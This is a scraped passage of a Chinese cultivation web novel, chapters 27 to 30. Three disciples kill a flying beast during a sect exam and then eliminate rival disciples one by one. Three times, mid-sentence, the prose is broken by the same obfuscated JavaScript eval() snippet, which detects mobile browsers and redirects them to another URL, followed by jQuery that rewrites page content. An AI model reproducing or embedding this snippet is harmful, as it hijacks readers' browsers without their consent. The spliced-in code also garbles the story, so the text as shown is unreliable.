但短短瞬息,许子墨已经奔出了树林。 以锯齿鹰的视力,自然不可能看漏这一点,针羽攻击下意识停了下来。 许子墨还用食指顶住鼻头,做了个鬼脸,“小爷我现在就在这里,你个丑八怪倒是过来啊!” 邵鸿轩现在感觉自己有点呼吸不畅了,他拽住薛长老,怀疑人生:“究竟是我有问题,还是他脑子有问题了?” 薛长老:“......” 说真的他也看不懂,这孩子按说平时是个人精,怎么突然就发起癫来了? 许子墨求仁得仁,锯齿鹰或许听不懂他的话,但从他的神情语气中搞懂了他的挑衅,仰头一声长啸,便冲他俯冲下来。 许子墨撒腿就跑,不得不说他在身速上别有一番天赋,全力爆发下,竟然真闪开了锯齿鹰这波针羽。 “不对!他怎么还不回林!按他现在的灵力消耗,根本撑不了多久!” 丹墀众长老都心惊胆战地揪起了心,可那少年偏偏绕着林子转圈,就是不钻进去。 “呜——”锯齿鹰被这个滑不留手的人类耍得团团转,怒火熊熊燃起,张开大嘴看准了许子墨的方向,扑咬了下去。 偏偏这次,许子墨一头扎进了林子。 锯齿鹰反应不及,头颅在惯性下楔进了树林! “他们想困住锯齿鹰!”汪长老惊呼。 薛长老摇摇头,“锯齿鹰的活动性太强了,这是困不住它的!” 像是为了印证薛长老的话,锯齿鹰双翼一扇,整个身子就要退后直起。 “你逃不掉的!” 林中忽传来一声少女厉喝,一根长绳从锯齿鹰下面拔地而起。 孟莘飞射而出,双手卷住绳子两端,稳稳落在锯齿鹰背上,随后收紧绳圈,勒住了锯齿鹰的头部。 “她怎么能踩住锯齿鹰的?那上面全是针羽啊!”汪长老睁大了眼睛,仿佛感受到那股疼痛似的寒毛直竖。 邵鸿轩凝神细看,指过去,“因为她踩住了霜晶狮的晶皮!” 那块晶皮不够人防身,却完全够她落脚了! 锯齿鹰脖子被勒住,立刻高昂起头,想要靠抖动把孟莘甩下去。 她怎么会给它这个机会! “许子墨,抓好了!”孟莘将另一根绳子从锯齿鹰两侧甩下。 许子墨飞身而起,使出全身灵力,拽住绳子朝林中狂奔。 孟许二人从前后两侧勒紧了锯齿鹰,一时竟让它动弹不得。 “彭笑寒,该你上了!”少年高喊一声。 “交给我!”玲珑的少女手提巨剑从他身侧穿过,足尖一点,提剑飞跃而上。 沉重的巨剑不容置疑地穿透锯齿鹰的额头,接着她双臂同时用力,横刀向下劈砍下去。 无与伦比的痛苦让锯齿鹰爆发出前所未有的挣扎,但这三人既没有放开缰绳,也没有松开巨剑。 数十息之后,伴随一声魔兽倒地的沉闷巨响,锯齿鹰,彻底死亡! 丹墀上一片死寂。 不分长老弟子,他们死死地盯着千里镜上疲惫喘息的少年少女。 他们三个连御剑都不会的筑基期小弟子,竟然真的合力击杀了锯齿鹰?!! 27. 第 27 章 整个丹墀上,感受最为强烈的,是孟莘他们的同届。 十几岁的少年少女们,仰头望着千里镜上的搏杀场面,都看得入了神。 许久之后,死寂之中,一个少女情不自禁地把心里话说出了口:“他们也太厉害了吧!三个人!干掉这么大一只飞行魔兽!就算换了师兄师姐们也做不到吧!” 往届的弟子们的脸色都很难看,偏偏没法反驳,因为......平心而论,就算是修为最高的郑睿识他们,恐怕也只能被锯齿鹰追得抱头鼠窜,哪里会想到反击。 他们只能恼羞成怒地呵斥:“闭上你们的嘴,看就是了,两个筑基七级的六星摆在那,什么魔兽杀不了!” 然而第一根火把已经点燃了燥到极点的木柴,此起彼伏的惊叹自此熊熊燃起,把那些无理训斥全数淹没,再也没有人能仗着资历把他们的真正想法压制下去。 “许子墨好快的速度!他根本没有躲,完全是靠身法把锯齿鹰的攻击甩开的!” “他以前根本没这么快吧?好像在魔兽森林里突破了一样!” “你看到没有?彭笑寒那一剑,直接斩断了魔兽半个头!” “看到了!还记得她入门那天说什么吗!''我辈修士,难道需要仰人鼻息来修炼吗?''不需要!当然不需要!” “渡劫期她晋得了,那区区筑基,我明年也一定晋得了!” “还有孟莘……我本来以为她只是说大话,全靠抱彭笑寒和许子墨的大腿……但是!刚才那个计划,好像全是她安排的吧!” “对对!还有树林里那个捆住锯齿鹰的机关,她几下就做好了!” “就算修为不如别人,在战斗里发挥的作用也可以毫不逊色!我再也不拿我的修为自甘堕落了!” “孟莘现在的身法和第一堂剑术课完全不一样了!你还记得她最开始连挥剑都落在最后吗?” “其实这个月,几乎每天晚上,我都看到他们三个人在练剑,但我那时候还觉得这只是无用功。早知道,我也该加练的!” “一个月!从炼气一级到筑基一级,从提不起剑到一个人也能斩杀魔兽!她能做到,我们难道就做不到吗!” 这些小弟们本来也就是刚入门,不掺和外门过去的一堆破事。 此刻亲眼目睹自己的同届弟子挥剑斩魔兽,一个个都热血翻涌,恨不能自己也冲进魔兽森林。 “明年!我一定要像他们一样强!” “我也是!” “还有我!” 众长老都惊讶地看着这一幕,未曾预料,一场内门考核,能让弟子们产生如此斗志。 邵鸿轩的目光从他们脸上扫过,“只要不忘今日之志向,那明年,真要出一些好苗子了。” “这样的,才是少年人啊,”薛长老捋着胡子微微笑道,“这些年派内风气愈加刁滑、积习难改,早该如此了。如此,我沧溟派才不至于走向衰落啊。” “这三个家伙,倒是替我们长老们省了份心,”邵鸿轩看着千里镜,难得露出了笑意,“筑基期斩落锯齿鹰,够他们得意一阵的了。” “他们也得尽快离开那里了,恐怕马上就有人要围过去了。唉,我们沧溟派,还有的改啊。”薛长老轻轻一声叹息,却不知是为谁了。 * 魔兽森林里。 锯齿鹰落地的哀鸣和巨响传遍四野。 北方的湖边,正和同门一起烤肉吃的江芷兰失手将烤鱼打翻在火堆,但没有任何人会在意那条鱼了。 “江师姐,刚刚死的那个,是锯齿鹰吧?”问话的人脸上还是做梦似的震撼。 江芷兰脸色阴沉地看向轰鸣消失的方向,“之前在天上飞的巨影,除了锯齿鹰,还能是什么呢?” 西边,吴宜人脸色难看,扶着树干的手不自觉地微微颤抖,“能杀死锯齿鹰的,除了那三个人,恐怕不会有其他人了。” “没想到,那两个六星竟然强到了这种地步,”郑睿识咬住了自己的大拇指,又妒又忌惮,“那就更不能让他们轻易走了!” 南方,杜雨兰姐弟撤离山丘的脚步蓦然一顿。 杜景辉目光一凝,“阿姐,应该是他们吧?” 杜雨兰皱着眉点点头,虽然她很不愿意承认别人比他们更厉害,但要说谁能杀得了那个可怕魔兽,除彭许二人不做他想。 而后她又望着这片幽深的森林,若有所思,“就算是他们,对付这样的魔兽,肯定也消耗很多,现在正是最虚弱的时候,而那些师兄师姐,为了找孟莘,肯定也要去那个地方……” 杜景辉眼前一亮,“阿姐你是说?” 杜雨兰微微一笑,“我们去帮他们把水搅得更混怎么样?” 有这种想法的人,当然不在少数。 一时间,整个魔兽森林的弟子,都不约而同地赶赴同一个方向。 * 却说孟莘三人在杀死锯齿鹰以后,都有点脱力,七倒八歪地躺在了地上。 身体的疲惫倒是其次,主要是精神绷到极点,骤然放松,谁都有点难以适应。 孟莘给彭笑寒竖了个大拇指,“最后那一剑够狠够准,救大命了。” 彭笑寒想了想,也给许子墨竖了个大拇指,“跑得很快,诱导得很好。” 许子墨再把大拇指送还孟莘,“计划很完美,真的把我们救回来了。” 转完一个圈,三人都忍不住笑出了声。 “这把战绩,以后真够我吹的了吧,”许子墨唏嘘道,“虽然以后面对的敌人会更强,不过那时我肯定不像现在这么弱了。” “嗯,我也觉得很好,”向来严格的彭笑寒眉梢也带上了笑意,“很凶险,但是打赢了,还是大家一起……很有意思。” “是啊,我也没想到,原来是这么有意思的事情。”孟莘喃喃道。 她抬起右臂,在月光下打量着那只已经可以熟练握剑的手掌,根根分明的骨节从手指没入腕部,它像前世一样灵活,却远比前世更有力。 最关键的是,孟莘发现自己原来很喜欢这种感受。 不只是变强大的满足感,没有人不喜欢强大起来的感受,而是一种……更迷人、更危险的东西。 那种在生死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010297|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边缘,拿出自己的所有底牌,绝境求生的感受,让她有些食髓知味。按住胸膛时,仿佛还能回忆起心脏快跳出胸腔的惊险。 她难得有些恍惚了,她从前可没有喜欢过这种生活,她甚至在想,这会不会和梁如安的身体有关系。 “你们有没有过这种感觉?就是,有一天发现自己和自己想的并不一样,就好像,重新认识了自己一样。” “那也没关系吧,”彭笑寒在这一点上想得很超脱,“可能有人就是从一开始就清楚自己是谁。而有人需要花很久才明白,什么是自己习惯了的样子,什么是自己真正的样子。” 许子墨又给她竖了个大拇指,“嘿嘿,您今天又成哲人彭师傅了。” “真正的样子吗?”孟莘轻声呢喃。 反正,她并不抗拒这种改变就是了。 清风把陌生的气息带到鼻腔,孟莘皱了皱鼻子,叹了口气,“恐怕有人要来了,真不让人好好休息啊。” “这都是什么狗皮膏药,甩都甩不掉的!”许子墨难得地黑了脸。 虽然贪恋这样天气疏朗、赏月谈心的好时光,但三人也都立刻明白了撤离的必要性,开始紧锣密鼓地收拾残局。 彭笑寒把锯齿鹰的魔晶挖出来,不忘了计数,“第二十三块。” 孟莘则抓紧时间割了好几把针羽,这东西杀伤性够强,攒起来说不定以后能用。 许子墨之前消耗太大,运转功法紧急恢复了一点灵力。 收拾完毕,彭笑寒许子墨看着孟莘,“现在走哪个方向?” 孟莘仔细感受了一下,“南边已经有人在靠近了,我们走北边。” 三人向北飞掠而去,让赶来的郑睿识吴宜人扑了个空。 吴宜人皱眉看着只剩下锯齿鹰尸体的空荡树林,“跑了?” “肯定没跑远,”郑睿识鼻腔挤出一声冷哼,“赶来的不只有我们,他们能跑到哪里去,不过是瓮中捉鳖罢了。” 他们哪里想得到,孟莘的敏锐精神力,让他们在四面八方赶来的人群中硬是找到了一条出路。 * 北边自然也不是没有人,只不过是来得晚了一些。 在他们躲过第四批人马以后,许子墨忍不住咂舌,“好家伙,这不会是人全来了吧?” 他们动身再晚一点,岂不是真要被其余九十七人围殴? “卑鄙!”彭笑寒眼里掠过一丝寒意,“看我们刚刚经历过一场大战,就想趁火打劫。” 孟莘却并未因此恼火,反而对着她眨了下眼,“既然他们这么卑鄙地对我们,那想不想对他们卑鄙回去?” “……啊?”彭笑寒困惑地睁大了眼睛。 许子墨则忍不住露出一个贼笑,“哈,以前怎么不知道你这么,呃,底线灵活呢?” 孟莘正色:“这只能叫以其人之道还治其人之身。” 她之前在丹墀放出去的狠话可不是随便说说的,她就是要让这些人进内门的希望,全部折戟在这场考核里。 而三个人要如何对付九十七个人? 当然是逐个击破了。 28. 第 28 章 “可恶!那个该死的孟莘究竟跑到哪里去了!” 罗文成有些泄气地一拳砸在树干上。 夜晚的魔兽森林原本是魔兽们趁机出巢捕猎的好时机,可因为九十七名外门弟子全数出动,浓郁的修士气息让魔兽们忌惮得纷纷安静了下去。 魔兽森林从未如此幽深静谧过。 罗文成却没有任何心思欣赏夜景,他拳头抵着树干,眼瞳里布满猩红血丝。 那个孟莘怎么会那么强?连锯齿鹰都能干掉!这样的话,等她进了内门,借着身份报复这些年的羞辱该如何是好! 不不不! 锯齿鹰不可能是她干掉的,一定是那两个六星!现在她的实力也就筑基一级,一点也不可怕,必须要现在就把她挡在内门外面才有转圜余地! 罗文成强迫自己冷静下来,重新折身在森林里搜索,一遍找不到就再找一遍,这种趁她病要她命的机会决不能错过。 忽然,一抹蓝色从他前方掠过,他猛地抬头,正好瞥见孟莘仓促奔逃的侧脸。 罗文成大喜,张大嘴就要高声通知其他人,“孟——” 然而嘴巴刚动,第一个字的音量还没提上去,后背突然被人轻轻拍了一下,下面的声音瞬间变成模糊不清的呓语。 他下意识去摸自己的嗓子,声音无端变得嘶哑低沉,“这是什么?” 他惊悚回头,只见许子墨正在一丈远的位置,冲他摆了摆手,两指间夹着几张黄纸朱砂符咒。 许子墨笑得幸灾乐祸,“哑符,据说是以前某位先生嫌弃自家弟子课上吵闹,设计出的符咒,平时鸡肋得根本派不上用场,但是用在师兄你身上正正好啊。” “许子墨!”罗文成怒极,提剑就想砍过去,一阵破风声忽从左侧袭来。 他仓促闪躲,定睛一看,是提剑的彭笑寒,他更是大怒,“你们不知道内门考核不许对同门下杀手的吗!” “也没想下杀手啊。” 右后方忽然传来一声少女轻笑,“不过是想送师兄早点回去休息罢了。” 罗文成忽觉右腰处一坠,传送阵法随即在他脚下展开。 阵法的根根银丝已经爬上他的双腿,他目眦欲裂,狠瞪拽着他腰牌的孟莘,“卑鄙!” 孟莘收回手,耸了耸肩,“以其人之道还治其人之身而已。” 当然这话,被传走的罗文成已经听不见了。 “第十个了。”彭笑寒记着数。 “那现在是三比八十七了,”孟莘兴致勃勃地望向森林深处,“让我看看,接下来去哪个方向呢?” * 丹墀上早已经炸开了锅,十个被传送出来的弟子围在青石台下方,不服地跟长老们控诉。 “孟莘作弊!故意袭击同门!” “彭笑寒的刀在我身上划了这么一道,这肯定违规了吧!” “凭什么他们可以动我的腰牌,这不合理吧?我要求重新进魔兽森林!” 人心总是容易歪的,这几个弟子们的带教长老看不过去,帮他们说情。 “弟子们辛苦修炼一整年就等这个机会,才考核第一天,就以这样荒谬的方式出局,薛长老,是不是该再给他们一个机会呢?” “替人催动考核腰牌,以前内门考核从没出过这种事,薛长老,我请您必须严惩孟莘三人,他们这是把我沧溟派的内门考核当儿戏!” 邵鸿轩眼皮一抬,看着他们冷笑,“章长老、刘长老,你们这拉偏架是不是拉得太明显了?那测天石时,他们对孟莘恶语相向算什么?刚才魔兽森林里,他们合围孟莘又是为什么?是谁违规,是谁该严惩啊?” 章长老脸色一变,“说我拉偏架,那请问邵长老,你倒是给那个孟莘说好话说得勤啊,你这不叫拉偏架?” 刘长老跟着补充:“说到底孟莘有因为他们受过一点伤吗,倒是仗着人多势众伤了这些弟子才是真的!” 邵鸿轩气笑了,“您二位倒是让我重新认识了人多势众这四个字,本事学得好没在作战时受伤,反而成了不是了?要么咱们三打一场,让我体会一下人多势众的感觉?” 两边火药味十足,一触即发,其他长老们夹在中间,默不作声地等着看热闹。 “够了!”薛长老作为外门掌事长老,冷声呵止,“孟莘三人所为只不过是自卫反击,她都已经摸到腰间了,若是真有意伤人,这些个人就不会还全须全尾地站在这了。” “至于考核腰牌可以被别人催动,倒是我们以前的一大疏忽,从下一届开始,修改符法,以防这种事再次出现就是了。” “至于本届之事,就静待他们还有什么进展吧,只要不危害性命,我们长老不能插手。” 看双方都还隐隐有不忿之意,薛长老心中暗叹。 本来他早该走了,不过是想着看那三个人再杀一头魔兽,这一逗留,竟然能生出这许多事端。 只希望接下来的考核,不要再有更多意外了。 * “第二十五个,”彭笑寒计完数,不禁感觉有点荒谬,“我们杀的魔兽也才二十三个,现在送出局的师兄师姐都比魔兽还多了。” “不过我现在觉得有点累了。”许子墨一屁股坐到了地上,“刚开始还挺好玩,但这些师兄师姐们连词都不带新鲜的,实在无聊。” 他们三人配合,专捡那种落单的人对付,几乎全都是一击得手,这才让经历了一场大战的他们有余力出局二十人,不过这会体力也耗得差不多了。 孟莘耳朵轻轻一动,凝神探查过周围动静以后,果断决定撤,“那我们走吧,这个方向上,剩下的大多都是那种抱团的了,不动他们,还可以多麻痹他们一阵。” “你想明天再攻其不备?”彭笑寒问。 “不错,”孟莘含笑点点头,“这群人虽然都看我不顺眼,找到我就会招呼人群殴,但是其他时候,都是竞争对手。那些单走的人就算消失了,小团体们也应该察觉不到。” “不管怎么说,三比七十二,这一晚上的战绩够可以了。”许子墨嘿嘿笑道,虽然打起来无聊,但是战后一复盘整个得失,满足感立刻就上来了。 三人就此撤退休息。 而郑睿识等人也确实没有想到,孟莘三人在刚打败锯齿鹰、又被众人围剿的时候,还有心情去暗算人。 “郑师兄,我这边没找到人。” “我这边也是。” 吴宜人和江芷兰脸色都不太好,他们自认为赶来的够早,派出去搜查的弟子也够多,可那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020363|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人还是溜了出去。 “那个孟莘的运气,就这么好吗?”郑睿识气愤地喃喃道。直到现在,他也丝毫没觉得,孟莘逃出去并不是靠好运。 这三人杀完锯齿鹰又逃出生天,凭这种实力,完成考核恐怕远比他们预料得要快。 吴宜人现在觉得很不妙,“错过了这次的机会,不知道我们还来不来得及在魔兽森林找到他们。只怕他们一够到三十个魔晶,就会直接传送出去。” 江芷兰神情颇有些懊恼,“进魔兽森林时本该是最好的机会,让他们借神行符逃走,恐怕是我们最大的失策了。” 三人怔怔看着对方,心中都掠过一个想法,难道真的已经晚了吗? “咳,诸位师兄师姐们,我们或许能找到孟莘的下落。” 一个女声忽然从斜后方传来。 三人都转头去看,只见一个模子里刻出来的少年少女站在树下,胜券在握地看着他们。 正是杜雨兰和杜景辉。 两位五星的名声虽然没有彭笑寒许子墨那么大,但三人却也是认得出他们的脸的。 郑睿识蹙着眉,并不是很相信这种刚入门一个月的小弟子,“你们怎么能知道?” 杜雨兰理所当然地指着树林北边,一副奇怪他们怎么没发现的样子,“因为从那个方向过来的师兄师姐最少啊。” 他们因为独立在外门盘根错节的势力之外,反而旁观者清。 从他们赶到这里,就发现东、西、南方向上,赶来的人大体相近,但是北方却少了许多,而郑睿识等人正是因为过于自信自己的势力,反而一叶障目了。 三人面面相觑,眼里都是震惊神色。 “走!去看看!”郑睿识立刻下令。 一群人赶着要动身时,郑睿识忽然又停下来,邀请杜家姐弟道:“杜师妹杜师弟,你们和孟莘那三人同门一月,想必很熟悉他们三人的行事作风,不如跟我们一同前往,也许找线索会更快些?” 原来被忽视了而心情不佳的杜雨兰杜景辉这下气顺了,骄傲地点点头,走在了最前方,“没有我们,你们说不定一晚上都找不到他们。” 郑睿识向来最讨厌这种背负着天才之名、却有种傲慢的愚蠢的家伙,但此时也只能好声好气地哄着他们。 而杜家姐弟却也并未说大话,这一个月内,他们和孟莘三人一同上课,交手过多次,对他们会使出的招数心中有数。 “这里有剑痕,是彭笑寒那把重剑。” “这一小块东西,应该是符纸吧……不是许子墨就是孟莘。” 沿路找下去,一直穿出了这片树林,重新见到了河流和山地,才彻底没有了孟莘三人的踪迹。 “我们就能找到这里了。”杜景辉非常自然地停了下来,“你们有这么多人,搜过去,总能找得到人的吧。” 郑睿识严肃地对吴宜人和江芷兰道:“我们决不能错过这次机会,一定要把他们三人抓住。” 江芷兰略有点担忧:“他们休息一晚,实力恢复,两个筑基七级恐怕不好对付吧。” 锯齿鹰死后,他们对彭笑寒许子墨的实力非常忌惮。 “他们三人又不是连体婴,总有分开的时候。”狠戾神色在郑睿识眼中一闪而过。 29. 第 29 章 清晨的魔兽森林安详宁静,山洞里的火堆早已经熄灭了,只剩下焦黑木炭散发着一点不明显的温热。 孟莘打了个哈欠睁开眼,坐着醒了醒脑子,然后起身迈步走出了山洞。 没看到彭笑寒和许子墨的身影,约莫是去哪里梳洗了。 她伸了下懒腰,走到北边最近的溪流边洗漱,忽然耳朵一动。 有人来了,还不止一个。 她凝神探查了一会,擦干脸上的湿痕,抬头望去。 不一会儿,江芷兰带着四个小弟子从树林边缘围了过来,他们包围的角度很刁钻,孟莘背后是高山,前面被他们堵住,从哪个方向冲出去都能被联手拦住。 孟莘意味不明地笑了一下,“真是意外,看起来不像是偶然,你们怎么找到我的?” 江芷兰提剑靠近,冷冷道:“你们昨晚大张旗鼓地在森林里大开杀戒,是觉得所有人都是傻子,看不出来吗?” 孟莘挑了下眉,抱歉地笑笑,“确实是没想到你们突然长了脑子。” 江芷兰没被她激怒,剑指向她:“孟师妹,我也不想为难你,用腰牌传送出去,我可以不对你动手。” 其他人跟随她一起拔剑,以江芷兰为中心,连成一张进可攻退可守的网,直欲将孟莘这条鱼缚于其中。 “啧,这位师姐,你就没想过,既然我没在发现你们的第一时间就逃......”孟莘十指交叉活动了一下手腕,轻声说:“是因为我想为难你们吗?” 下一瞬,她身形暴射而出,以江芷兰难以捕捉的速度先后将左侧两人的传送腰牌催动。 这两人不敢置信地叫了声“师姐!”便被传送了出去。 场上局势瞬间逆转为三比一。 江芷兰心中一沉。 神行符,她的神行符竟然还没有用完,不对!以她催动传动阵法的速度,神行符也许就是她本人画的! 但来不及思考更多了,江芷兰足尖一点,提剑便朝孟莘而来,堪堪挡住孟莘对下一个师妹下手的动作。 她喝道:“你们两退后支援我!” 两人在江芷兰的命令下很快静下了心神,一左一右在江芷兰身侧辅助,一时间没露出任何空隙让孟莘下手。 四人交手数十回合,战得难舍难分。 这是江芷兰第一次见到孟莘出手,没想到一个月时间而已,她竟已经成长到可以以一敌三了,惊讶之下,敛神提气,身法更快几分。 “筑基三级、旁边两个筑基一级......”孟莘很快摸清三人的修为。 团战时她向来更喜欢先从最弱的部分下手,再专心对付最强的那个,然而这次不行。 江芷兰是她迄今为止遇到的最有战局意识的对手,以身法牢牢压制住了她摸符咒或者攻击其他人的动作,她修炼日短,单纯比体力,一定会被她们拖垮。 孟莘目光一凝,必须先打败江芷兰不可! 二人再次刀剑相持之时,孟莘忽剑势一弱,江芷兰猝然冲向前,眼睁睁看着孟莘一矮身从她臂下穿至后方。 “不好!师妹小心!”江芷兰惊叫,连忙止住身体回身去救,却见孟莘并未杀向两位师妹,而是冲她而来。 孟莘的后背毫无遮挡地落在那两位师妹眼前,只专心致志地对战江芷兰。 两人交战身影飞速后退,两师妹一时攻不上来。 江芷兰胸中恼火,孟莘明明已经主动钻进了她们三的包围之中,只要她压制住孟莘,三人合力即可击败。偏偏她回身时慢了一分,被孟莘的剑逼得反攻不得。 一惊一喜一恼间,她没法发觉自己已经露出了破绽。 “师姐,你气息乱了!”孟莘一剑挑飞江芷兰佩剑,一拧身从侧方贴至她近身,“还不认输吗?” 比孟莘的身体先一步贴近的,是抵在她脖颈的峨眉刺。 江芷兰闭了闭眼,垂下双手,“我输了,是我眼拙,没看出你天赋异禀。” 孟莘峨眉刺作势往江芷兰脖子上滑动了一下,吓退那两个想动手的师妹。 她又看着江芷兰紧绷的脸,颇为好笑,“到现在你还觉得,错的并不是你们在一个无辜的人身上泄愤,而是欺负了一个你们欺负不过的人吗?” 江芷兰睁开眼,眸中闪过一丝茫然神色。 但下一刻,传送阵法已经缠上她的身躯。 孟莘懒得和这种说不通的人讲道理,她弯了眉眼,笑盈盈看着剩下两人,“现在该我们算账了,是你们自己动手,还是由我代劳?” * 东方树林,一个少年和另外六人隔着一条小溪对峙着。 “许师弟,你要明白,我们并没有与你为敌的打算。” 吴宜人率领五名弟子拦下许子墨,他抱着胳膊,并未拔剑,似乎是想以此展现自己并无敌意。 许子墨靠在树上,瞅着这六人。对方为了威慑,身上的灵力气息毫不掩饰,一个筑基三级,一个筑基二级,剩下四个筑基一级。 他散漫地笑了笑,“拦我干什么?为了去攻击孟莘?那你们拦住彭笑寒了没有,让我听听你们派了几个人去拦彭笑寒?” 吴宜人探究地端详了他片刻,才抿着唇回答,“也是六个人,不过有两个筑基三级和两个筑基二级,她再如何强悍,也寡不敌众,来不及脱困支援的。” 他以为许子墨是担心孟莘的安危,想警告许子墨已经没有机会了。 然而许子墨闻言脸色蓦然一黑,嘴角跳动着危险的笑意,“所以,我究竟是被你们小瞧到什么地步了?连彭笑寒的一半都没有啊。” 危险的预感猝然降临在吴宜人心头,他立刻拔剑提醒众人,“小心!” 然而下一刻,少年如鬼魅一样的身影已经从对岸消失,吴宜人立刻挥剑,以剑风抵挡,却眼睁睁看着少年每一次都灵活闪过了他的攻击。 吴宜人再欲挥剑,手腕却已经被人拧到背后,轻飘飘的气息从耳侧飘过—— “五年前,曾经有一个人踩着我骂我是个废物,那时我技不如人,只能任凭他羞辱......但你们几个是个什么东西,觉得这种水平也能对付我?” 传送阵法下一刻在吴宜人脚下展开,他下意识回头,睁大双眼却只看到许子墨伸手朝他胸前一推,漠然开口:“水平太废物,回去重新学艺吧。” 吴宜人向后倒去,传送阵法缠上了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033216|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体,这时候他终于后知后觉地意识到—— 他们三人要断掉剩下九十七人的内门路,那好像并不是虚言。 许子墨看着其他五人,笑笑,“一起上吧,省点时间,说不定我还来得及去她们两那看看乐子。” * “杜雨兰、杜景辉......”彭笑寒冰着一张脸,看着少年少女和围在他们身边的四个人,“我们同届入门,你们为什么要和他们搅在一起?” 彭笑寒没忘记杜雨兰曾经对孟莘大打出手,也没忘记杜家姐弟这个月来,总是想借各种机会奚落孟莘。 但是她同样也明白,他们两的恶意,和那些师兄师姐们的恶意有本质区别。 可现在,当他们站在一起时,好像……已经不再有分别了。 杜雨兰踏一步上前,“我们是主动来找你的,彭师姐。正因为我们是同门,才不能不来劝你,你和孟莘、还有许子墨根本不是一路人,这一个月来我们看得分明,你每天晚上都给这两人喂剑,如此才让他二人剑法突飞猛进,但是孟师姐,你呢,你又得到了什么?” 杜景辉激动地感慨道:“彭师姐,孟莘最开始是什么水平我们都记得清清楚楚,这一个月在你的帮助下,她取得了多少进益我们也记得……可你呢?呕心沥血为了他们两,你自己又能从他们身上得到多少?” “这也能叫朋友吗?”杜雨兰厉声道:“彭师姐,你秉性刚直,而他二人圆滑世故,你被他们骗了都不知道!” 姐弟两你一言我一语,虽说是挑拨之语,但言辞恳切仿佛急于救彭笑寒于水火,只因他们当真如此认为,这些话已经憋在他们心中许久。 重剑插在地上,彭笑寒手肘倚靠剑格,脑袋微垂,似乎是陷入了深思。 杜家姐弟大喜,他们终于把彭笑寒从那两个讨厌的家伙身边劝回来了吗? “没想到,原来那些事在你们看来,竟然会是那个样子。”彭笑寒再开口时,却是这样一句话。 “我和谁交朋友,只是因为我喜欢;我为他们做什么,只是因为我乐意。” “并不是期待对方做出什么回报,否则,那就不是交友,而是,”彭笑寒不知想起了什么,忽然莞尔一笑,“而是一门生意。我不懂做生意,更不会跟朋友做生意。” 她笑得如此坦荡,杜雨兰一时间又妒又恨,咬了咬唇,“孟莘从一开始就故意示弱,让你为她出头,然后把你拉在她身边,孤立于所有同门……否则,你就不会只跟他们做朋友。” 就是从那时起,她们两住在了一起,然后和其他人划了一条楚河汉界。 “你说入门那天吗?”彭笑寒摇了摇头,“我那时还谈不上喜欢她,我为她出头,只是因为我看不得有人平白欺负人罢了。” 杜家姐弟微怔。 彭笑寒认认真真继续解释,好像这是什么必须分辨清楚的东西。 “我喜欢她,是因为她明明洞悉人心,却不卑不亢等量齐观;我喜欢许子墨,是因为他虽然嘴上圆滑但行事正派。也许你们觉得他们工于心计,但是他们不过是通晓世故却还能周全天真罢了。” “我很喜欢,所以才要跟他们做朋友。” 30. 第 30 章 如果孟莘和许子墨是因为被彭笑寒欣赏所以结交,那被剩下的人算什么? 杜雨兰和杜景辉脸色难看极了,众星捧月长大的少年少女从未如此被人嫌弃过。 “最后,原来在你们看来,我这个月毫无进益啊......”彭笑寒眸光一寒,右手一翻,握住剑柄,“那不如你们亲自来试试,我的剑法到底长进了没有?” 众弟子让杜家姐弟先上,就是为了尽可能说服彭笑寒,结果眼看着三人谈崩,两个师兄立刻拔剑警戒,“大家小心!” 杜雨兰撇了撇嘴,挥剑直指彭笑寒,“哼,这一个月来,论单打独斗,我们确实一直输给你,但是现在这么多人,就算你是筑基七级又如何?” “不必废话了,阿姐,我们上!”杜景辉率先强攻。 彭笑寒手一拧,重剑拔地而起,飞向杜景辉。 邵鸿轩在课上不许她用这把剑对付同门,因此这还是杜景辉第一次见识到这把剑的威力。 厚重无比的剑风让他几乎没有匹敌之力,只能慌忙去躲。 所有人都清清楚楚看明白了,杀死锯齿鹰的那一剑究竟有多凶猛。 而彭笑寒跃上剑身,借力一跳,直扑杜雨兰身前。 杜雨兰以剑应对赤手空拳的彭笑寒,然而她出的每一剑都被彭笑寒破得干干净净,几招之下,彭笑寒已经反手抓着她的剑抵住她的脖子。 “别逼我动手,自己传送吧。”彭笑寒不太擅长动法阵,速度一慢,容易被抓到空隙,但她可以威胁别人自己动手。 杜雨兰不甘心地咬了咬牙,手伸向腰间,彭笑寒一边盯着她一边盯着其他人,错开一眼的功夫,一颗丹丸忽然被杜雨兰扔出。 白色烟雾猛然在他们中间炸开,眼睛看不清远处景象。 “阿弟快跑!”杜雨兰嘶声大喊。 “你!”彭笑寒没想到她会来这么一出。 杜雨兰已经非常识时务地已经催动了传送腰牌,没留给彭笑寒任何算账的时间。 